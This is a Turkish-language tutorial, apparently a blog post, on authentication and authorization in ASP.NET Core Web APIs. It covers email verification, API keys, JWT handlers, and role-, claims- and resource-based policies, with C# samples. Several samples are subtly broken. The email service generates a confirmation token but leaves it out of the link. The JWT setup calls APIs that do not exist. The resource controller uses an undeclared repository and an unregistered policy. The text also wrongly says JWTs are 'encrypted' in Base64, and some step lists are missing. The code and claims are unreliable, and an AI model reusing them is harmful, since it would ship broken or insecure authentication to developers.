E-posta hesabı doğrulama, bir web uygulamasına kayıt olan kullanıcıların e-posta adreslerini doğrulamalarını sağlayan bir süreçtir. Bu süreç, kullanıcıların gerçek e-posta adreslerini kullanarak kayıt olmalarını sağlar ve uygulamanızın güvenliğini artırır. ASP.NET Core uygulamalarında e-posta hesabı doğrulama işlemi genellikle şu adımları içerir:

E-posta hesabı doğrulama işlemini gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz:

Örnek Kod:

Aşağıda, e-posta hesabı doğrulama işlemini gerçekleştirmek için ASP.NET Core Identity ile birlikte kullanabileceğiniz bir örnek kod bulunmaktadır:

public class EmailVerificationService
{
    private readonly UserManager<ApplicationUser> _userManager;
    private readonly IEmailSender _emailSender;

    public EmailVerificationService(UserManager<ApplicationUser> userManager, IEmailSender emailSender)
    {
        _userManager = userManager;
        _emailSender = emailSender;
    }

    public async Task SendVerificationEmailAsync(ApplicationUser user, string callbackUrl)
    {
        var token = await _userManager.GenerateEmailConfirmationTokenAsync(user);
        var emailContent = $"Please confirm your account by <a href='{HtmlEncoder.Default.Encode(callbackUrl)}'>clicking here</a>.";
        await _emailSender.SendEmailAsync(user.Email, "Confirm your email", emailContent);
    }

    public async Task<bool> VerifyEmailAsync(ApplicationUser user, string token)
    {
        var result = await _userManager.ConfirmEmailAsync(user, token);
        return result.Succeeded;
    }
}

Yukarıdaki kod örneğinde, EmailVerificationService adında bir servis oluşturulmuştur. Bu servis, e-posta hesabı doğrulama işlemlerini gerçekleştirmek için kullanılır. SendVerificationEmailAsync yöntemi, kullanıcıya doğrulama bağlantısını içeren bir e-posta gönderir. VerifyEmailAsync yöntemi, kullanıcının e-posta doğrulama işlemini gerçekleştirir.

Kullanım:

var callbackUrl = Url.Action("ConfirmEmail", "Account", new { userId = user.Id, token }, protocol: HttpContext.Request.Scheme);
await _emailVerificationService.SendVerificationEmailAsync(user, callbackUrl);

Yukarıdaki örnek, bir kullanıcı kaydedildikten sonra onay e-postası göndermek için EmailVerificationService servisini kullanır. callbackUrl, kullanıcıya gönderilecek olan onay e-postasında bulunan doğrulama bağlantısını içerir.

Bu şekilde, ASP.NET Core uygulamanızda e-posta hesabı doğrulama işlevselliğini kolayca ekleyebilir ve kullanıcıların hesaplarını güvenli bir şekilde doğrulamalarını sağlayabilirsiniz.

API-key authentication

API anahtarı (API key) kimlik doğrulaması, bir web uygulamasına gelen istekleri doğrulamak için kullanılan bir yöntemdir. Bu yöntemde, istekleri gönderen istemcilerin her biri özel bir API anahtarı ile kimliklendirilir ve bu anahtarlar istek başlıklarında veya istek URL’sinde taşınır. Sunucu, gelen isteklerdeki API anahtarlarını kontrol ederek istemcilerin kimlik doğrulamasını gerçekleştirir.

API anahtarı kimlik doğrulamasının çalışma prensibi şu şekildedir:

API anahtarı kimlik doğrulamasını gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz:

Örnek Kod:

Aşağıda, ASP.NET Core uygulamasında API anahtarı kimlik doğrulamasını gerçekleştirmek için bir örnek kod bulunmaktadır:

public class ApiKeyAuthenticationHandler : AuthenticationHandler<ApiKeyAuthenticationOptions>
{
    private readonly Dictionary<string, string> _apiKeys;

    public ApiKeyAuthenticationHandler(IOptionsMonitor<ApiKeyAuthenticationOptions> options, ILoggerFactory logger, UrlEncoder encoder, ISystemClock clock)
        : base(options, logger, encoder, clock)
    {
        // API anahtarlarını örnek olarak burada bir sözlükte saklıyoruz.
        _apiKeys = new Dictionary<string, string>
        {
            {"12345", "user1" },
            {"67890", "user2" }
        };
    }

    protected override async Task<AuthenticateResult> HandleAuthenticateAsync()
    {
        // İstek başlığındaki API anahtarını alıyoruz
        if (!Request.Headers.TryGetValue("X-API-Key", out var apiKeyHeaderValues))
        {
            return AuthenticateResult.Fail("API key not found.");
        }

        var apiKey = apiKeyHeaderValues.FirstOrDefault();

        // API anahtarının geçerli olup olmadığını kontrol ediyoruz
        if (!_apiKeys.TryGetValue(apiKey, out var username))
        {
            return AuthenticateResult.Fail("Invalid API key.");
        }

        // API anahtarı doğrulandıysa, kimlik oluşturuyoruz
        var claims = new[]
        {
            new Claim(ClaimTypes.Name, username),
            new Claim(ClaimTypes.Role, "APIUser") // Opsiyonel: API kullanıcısı rolü ekleyebilirsiniz
        };
        var identity = new ClaimsIdentity(claims, Scheme.Name);
        var principal = new ClaimsPrincipal(identity);
        var ticket = new AuthenticationTicket(principal, Scheme.Name);

        return AuthenticateResult.Success(ticket);
    }
}

Yukarıdaki örnekte, ApiKeyAuthenticationHandler adında bir kimlik doğrulama işleyicisi oluşturulmuştur. Bu işleyici, gelen isteklerdeki API anahtarlarını kontrol ederek kimlik doğrulamasını gerçekleştirir. API anahtarları örnek olarak bir sözlükte saklanmıştır. Eğer API anahtarı geçerli ise, istek başarıyla kimlik doğrulanır ve API kullanıcısının rolleri ayarlanır.

Kullanım:

services.AddAuthentication(ApiKeyAuthenticationOptions.DefaultScheme)
    .AddScheme<ApiKeyAuthenticationOptions, ApiKeyAuthenticationHandler>(ApiKeyAuthenticationOptions.DefaultScheme, options => { });

Yukarıdaki örnek, ASP.NET Core uygulamanızda API anahtarı kimlik doğrulamasını etkinleştirir. AddAuthentication yöntemi ile kimlik doğrulama hizmeti eklenir ve AddScheme yöntemi ile özel bir kimlik doğrulama şeması eklenir. Bu sayede, API anahtarları ile kimlik doğrulaması gerçekleştirilebilir.

Bu şekilde, ASP.NET Core uygulamanızda API anahtarı kimlik doğrulamasını kullanarak istekleri güvenli bir şekilde doğrulayabilirsiniz.

Token-based authentication

Token tabanlı kimlik doğrulama, web uygulamalarında kullanıcıların oturumlarını yönetmek için yaygın olarak kullanılan bir yöntemdir. Bu yöntemde, kullanıcılar oturum açmak istediklerinde sunucudan bir erişim belirteci (access token) alırlar. Bu erişim belirteci, kullanıcının kimliğini doğrulamak ve yetkilendirmek için kullanılır. Token tabanlı kimlik doğrulamanın temelinde JWT (JSON Web Token) veya OAuth 2.0 gibi protokoller bulunabilir.

Token tabanlı kimlik doğrulamanın çalışma prensibi genellikle şu adımları içerir:

Token tabanlı kimlik doğrulama genellikle şifrelenmiş bir JWT (JSON Web Token) kullanılarak gerçekleştirilir. JWT’ler, kullanıcı bilgilerini taşıyan bir JSON nesnesini Base64 formatında şifreleyen bir standarttır. Bu token’lar, kullanıcı kimliğini doğrulamak ve yetkilendirmek için kullanılır.

Token tabanlı kimlik doğrulamanın avantajları şunlardır:

Örnek Kod:

Aşağıda, ASP.NET Core uygulamasında JWT tabanlı kimlik doğrulamasını kullanarak bir API koruma örneği bulunmaktadır:

public class JwtAuthenticationHandler : AuthenticationHandler<JwtAuthenticationOptions>
{
    private readonly JwtSecurityTokenHandler _tokenHandler;

    public JwtAuthenticationHandler(IOptionsMonitor<JwtAuthenticationOptions> options, ILoggerFactory logger, UrlEncoder encoder, ISystemClock clock)
        : base(options, logger, encoder, clock)
    {
        _tokenHandler = new JwtSecurityTokenHandler();
    }

    protected override async Task<AuthenticateResult> HandleAuthenticateAsync()
    {
        if (!Request.Headers.ContainsKey("Authorization"))
            return AuthenticateResult.Fail("Authorization header missing");

        var token = Request.Headers["Authorization"].ToString().Replace("Bearer ", "");

        try
        {
            var claimsPrincipal = _tokenHandler.ValidateToken(token, Options.TokenValidationParameters, out var validatedToken);

            var authenticationTicket = new AuthenticationTicket(claimsPrincipal, Scheme.Name);

            return AuthenticateResult.Success(authenticationTicket);
        }
        catch
        {
            return AuthenticateResult.Fail("Invalid token");
        }
    }
}

Yukarıdaki kod örneğinde, JwtAuthenticationHandler adında bir kimlik doğrulama işleyicisi oluşturulmuştur. Bu işleyici, gelen isteklerdeki JWT’leri doğrulayarak kimlik doğrulamasını gerçekleştirir.

Kullanım:

services.AddAuthentication(JwtAuthenticationDefaults.AuthenticationScheme)
    .AddJwtAuthentication(options => 
    {
        options.TokenValidationParameters = new TokenValidationParameters
        {
            ValidateIssuer = true,
            ValidateAudience = true,
            ValidateLifetime = true,
            ValidateIssuerSigningKey = true,
            ValidIssuer = "your_issuer",
            ValidAudience = "your_audience",
            IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes("your_secret_key"))
        };
    });

Yukarıdaki örnek, ASP.NET Core uygulamanızda JWT tabanlı kimlik doğrulamasını etkinleştirir. AddAuthentication yöntemi ile kimlik doğrulama hizmeti eklenir ve AddJwtAuthentication yöntemi ile JWT tabanlı kimlik doğrulama sağlayıcısı eklenir. Bu sayede, JWT’leri kullanarak istemcilerin kimlik doğrulamasını gerçekleştirebilirsiniz.

Securing .NET Web API Applications with Authorization

What is authorization?

Kimlik doğrulamanın tamamlanmasının ardından, kullanıcının sistemde belirli eylemleri gerçekleştirebilmesi için izin verilip verilmeyeceğini belirlemek gerekir. İşte burada devreye yetkilendirme (authorization) kavramı girer. Yetkilendirme, kullanıcıların kimlik doğrulamasını geçtikten sonra sistemde hangi kaynaklara erişebileceklerini ve hangi eylemleri gerçekleştirebileceklerini belirleme sürecidir.

Yetkilendirme, genellikle kullanıcının rollerine veya rollerine atanmış izinlere dayanır. Bir rol, kullanıcıların belirli bir rolde olmalarını tanımlayan bir grup izindir. Örneğin, bir “Yönetici” rolü, sistemin tüm işlevselliğine tam erişim iznine sahip olabilirken, bir “Standart Kullanıcı” rolü sadece belirli eylemleri gerçekleştirmek için izinlendirilebilir.

ASP.NET Core’da, yetkilendirme işlemleri Authorization middleware veya AuthorizeAttribute gibi araçlar kullanılarak gerçekleştirilir. Bu araçlar, istemcilerin belirli rollerde veya belirli izinlere sahip olup olmadığını kontrol ederek yetkilendirme işlemlerini sağlarlar.

Yetkilendirme, genellikle şu adımları içerir:

Örnek Kod:

Aşağıda, ASP.NET Core uygulamasında Authorization middleware kullanarak yetkilendirme işlemini gerçekleştiren bir örnek kod bulunmaktadır:

public void ConfigureServices(IServiceCollection services)
{
    services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
        .AddJwtBearer(options =>
        {
            options.TokenValidationParameters = new TokenValidationParameters
            {
                ValidateIssuer = true,
                ValidateAudience = true,
                ValidateLifetime = true,
                ValidateIssuerSigningKey = true,
                ValidIssuer = "your_issuer",
                ValidAudience = "your_audience",
                IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes("your_secret_key"))
            };
        });

    services.AddAuthorization(options =>
    {
        options.AddPolicy("AdminOnly", policy =>
            policy.RequireRole("Admin"));
    });

    // Diğer servislerin kaydı...
}

public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
    // Middleware'lerin eklendiği yer...

    app.UseAuthentication();
    app.UseAuthorization();

    // Diğer middleware'ler...
}

Yukarıdaki örnekte, ConfigureServices metodu içinde AddAuthorization yöntemi ile Authorization middleware’i eklenmiştir. Bu middleware, yetkilendirme politikalarını belirlemek için kullanılır. Örneğin, “AdminOnly” adında bir politika tanımlanmıştır ve bu politika sadece “Admin” rolüne sahip kullanıcılara izin verir.

Configure metodu içinde ise UseAuthorization yöntemi ile Authorization middleware’i uygulanmıştır. Bu, yetkilendirme işlemlerinin gerçekleştirildiği noktadır.

Bu şekilde, ASP.NET Core uygulamanızda Authorization middleware’i kullanarak yetkilendirme işlemlerini kolayca sağlayabilirsiniz.

Simple role-based authorization

Basit rol tabanlı yetkilendirme, kullanıcıların rollerine göre erişim kontrolü sağlayan bir yetkilendirme yöntemidir. Bir kullanıcının belirli bir işlemi gerçekleştirebilmesi için belirli bir role sahip olması gerekir. Örneğin, “Admin” rolüne sahip kullanıcılar belirli kaynaklara tam erişime sahipken, “User” rolüne sahip kullanıcılar sadece belirli kaynaklara sınırlı erişime sahip olabilirler.

ASP.NET Core’da, basit rol tabanlı yetkilendirme işlemleri genellikle AuthorizeAttribute kullanılarak gerçekleştirilir. Bu özellik, denetleyicilere veya belirli işlemlere öznitelik olarak eklenerek, sadece belirli rollerdeki kullanıcılara erişim sağlar.

Örnek Kod:

Aşağıdaki örnek, bir ASP.NET Core Web API uygulamasında basit rol tabanlı yetkilendirme kullanımını göstermektedir:

[Authorize(Roles = "Admin")]
[ApiController]
[Route("api/[controller]")]
public class AdminController : ControllerBase
{
    [HttpGet]
    public IActionResult GetAdminData()
    {
        return Ok("Only admin users can access this data");
    }
}

Yukarıdaki kod, “AdminController” adında bir denetleyiciyi tanımlar. Bu denetleyici, sadece “Admin” rolüne sahip kullanıcıların erişebileceği bir eylemi içerir. [Authorize(Roles = “Admin”)] özniteliği, yalnızca “Admin” rolüne sahip kullanıcıların bu eyleme erişebileceğini belirtir.

Ayrıca, ConfigureServices metodu içinde AddAuthorization yöntemi ile rol tabanlı yetkilendirme politikaları tanımlanabilir:

public void ConfigureServices(IServiceCollection services)
{
    services.AddControllers();

    services.AddAuthorization(options =>
    {
        options.AddPolicy("AdminOnly", policy =>
            policy.RequireRole("Admin"));
    });

    // Diğer servislerin kaydı...
}

Yukarıdaki örnekte, “AdminOnly” adında bir yetkilendirme politikası tanımlanmıştır. Bu politika, yalnızca “Admin” rolüne sahip kullanıcıların erişebileceği eylemleri içerir. Bu politika, denetleyicilere [Authorize(Policy = “AdminOnly”)] özniteliği ile atanabilir. Bu şekilde, belirli roller için erişim kontrolü sağlanabilir ve uygulamanızı güvenli hale getirebilirsiniz.

Claims-based authorization

Claims-based authorization, kullanıcıların erişim haklarını belirlemek için kullanıcıların sahip olduğu yetkilendirme belirteçlerini (claims) kullanır. Kullanıcıların sahip olduğu özellikler ve roller bu belirteçler aracılığıyla temsil edilir ve uygulamanın erişim kontrolü bu belirteçlere dayanarak yapılır. Bu yöntem, basit rol tabanlı yetkilendirme modelinin ötesine geçerek daha esnek ve özelleştirilebilir bir yetkilendirme sağlar.

ASP.NET Core’da, claims-based authorization genellikle kullanıcıların JWT (JSON Web Token) veya diğer kimlik doğrulama mekanizmaları aracılığıyla alınan kimlik belirteçlerine dayanır. Bu belirteçler, kullanıcının adı, rolleri, e-posta adresi, özel yetkileri gibi bilgileri içerebilir.

Örnek Kod:

Aşağıdaki örnekte, bir ASP.NET Core Web API uygulamasında claims-based authorization kullanımını göstermektedir:

[Authorize(Policy = "AdminOnly")]
[ApiController]
[Route("api/[controller]")]
public class AdminController : ControllerBase
{
    [HttpGet]
    public IActionResult GetAdminData()
    {
        return Ok("Only users with Admin role can access this data");
    }
}

Yukarıdaki kod, “AdminController” adında bir denetleyiciyi tanımlar. Bu denetleyici, yalnızca “Admin” rolüne sahip kullanıcıların erişebileceği bir eylemi içerir. [Authorize(Policy = “AdminOnly”)] özniteliği, yalnızca belirli bir yetkilendirme politikasına (claim tabanlı) sahip kullanıcıların bu eyleme erişebileceğini belirtir.

Yetkilendirme politikası, ConfigureServices metodu içinde AddAuthorization yöntemi ile tanımlanabilir:

public void ConfigureServices(IServiceCollection services)
{
    services.AddControllers();

    services.AddAuthorization(options =>
    {
        options.AddPolicy("AdminOnly", policy =>
            policy.RequireClaim("role", "Admin"));
    });

    // Diğer servislerin kaydı...
}

Yukarıdaki örnekte, “AdminOnly” adında bir yetkilendirme politikası tanımlanmıştır. Bu politika, kullanıcıların “role” adında bir claim’e sahip olması gerektiğini belirtir ve bu claim’in değerinin “Admin” olması beklenir. Bu sayede, kullanıcıların rolüne göre erişim kontrolü sağlanmış olur.

Claims-based authorization, rol tabanlı yetkilendirmeden daha esnek bir yaklaşım sunar ve kullanıcıların farklı yetkilendirme belirteçlerine dayalı olarak erişim haklarını özelleştirebilirsiniz.

Resource-based authorization

Kaynak tabanlı yetkilendirme (resource-based authorization), kullanıcıların erişim haklarını belirlemek için kaynakların (resource) özelliklerine dayanır. Kullanıcıların erişebileceği belirli kaynaklar ve bu kaynaklara yapabilecekleri eylemler yetkilendirme politikaları aracılığıyla belirlenir. Bu yaklaşım, belirli bir kullanıcının belirli bir kaynağa belirli bir eylemi gerçekleştirebilmesi için yetkilendirilmesini sağlar.

ASP.NET Core’da, kaynak tabanlı yetkilendirme genellikle AuthorizeAttribute ve yetkilendirme politikaları kullanılarak gerçekleştirilir. Bu yaklaşımda, her eylem veya işlem, yetkilendirme politikaları aracılığıyla belirli roller veya belirli şartlara bağlı olarak kontrol edilir.

Örnek Kod:

Aşağıdaki örnekte, bir ASP.NET Core Web API uygulamasında kaynak tabanlı yetkilendirme kullanımını göstermektedir:

[Authorize(Policy = "CanAccessResource")]
[ApiController]
[Route("api/[controller]")]
public class ResourceController : ControllerBase
{
    private readonly IAuthorizationService _authorizationService;

    public ResourceController(IAuthorizationService authorizationService)
    {
        _authorizationService = authorizationService;
    }

    [HttpGet("{id}")]
    public async Task<IActionResult> GetResource(int id)
    {
        var resource = await _resourceRepository.GetById(id);

        if (resource == null)
        {
            return NotFound();
        }

        var authorizationResult = await _authorizationService.AuthorizeAsync(User, resource, "ResourceAccessPolicy");

        if (!authorizationResult.Succeeded)
        {
            return Forbid();
        }

        return Ok(resource);
    }
}

Yukarıdaki kod, “ResourceController” adında bir denetleyiciyi tanımlar. Bu denetleyici, belirli bir kaynağa erişim yetkisi olan kullanıcıların belirli bir eylemi gerçekleştirebileceği bir eylemi içerir. [Authorize(Policy = “CanAccessResource”)] özniteliği, yalnızca belirli bir yetkilendirme politikasına sahip kullanıcıların bu eyleme erişebileceğini belirtir.

Eylem içinde, kaynak erişimini kontrol etmek için IAuthorizationService kullanılır. Bu, ASP.NET Core’un kaynak tabanlı yetkilendirme hizmetidir. AuthorizeAsync yöntemi, kullanıcının belirli bir kaynağa erişim yetkisini kontrol eder ve gerekirse erişim verir veya reddeder.

Servis kaydı yapıldığında, Authorization hizmeti ve yetkilendirme politikaları tanımlanmalıdır:

public void ConfigureServices(IServiceCollection services)
{
    services.AddControllers();

    services.AddAuthorization(options =>
    {
        options.AddPolicy("CanAccessResource", policy =>
            policy.Requirements.Add(new ResourceAccessRequirement()));
    });

    services.AddSingleton<IAuthorizationHandler, ResourceAccessHandler>();

    // Diğer servislerin kaydı...
}

Yukarıdaki örnekte, “CanAccessResource” adında bir yetkilendirme politikası tanımlanmıştır. Bu politika, belirli bir kaynağa erişmek için gerekli olan koşulları içerir. Bu politika, belirli bir gereksinim (ResourceAccessRequirement) eklenerek tanımlanır. Bu gereksinim, belirli bir kaynağa erişim yetkisini kontrol eden özelleştirilmiş bir yetkilendirme gereksinimidir.

Bir sonraki yazıda görüşmek dileğiyle!”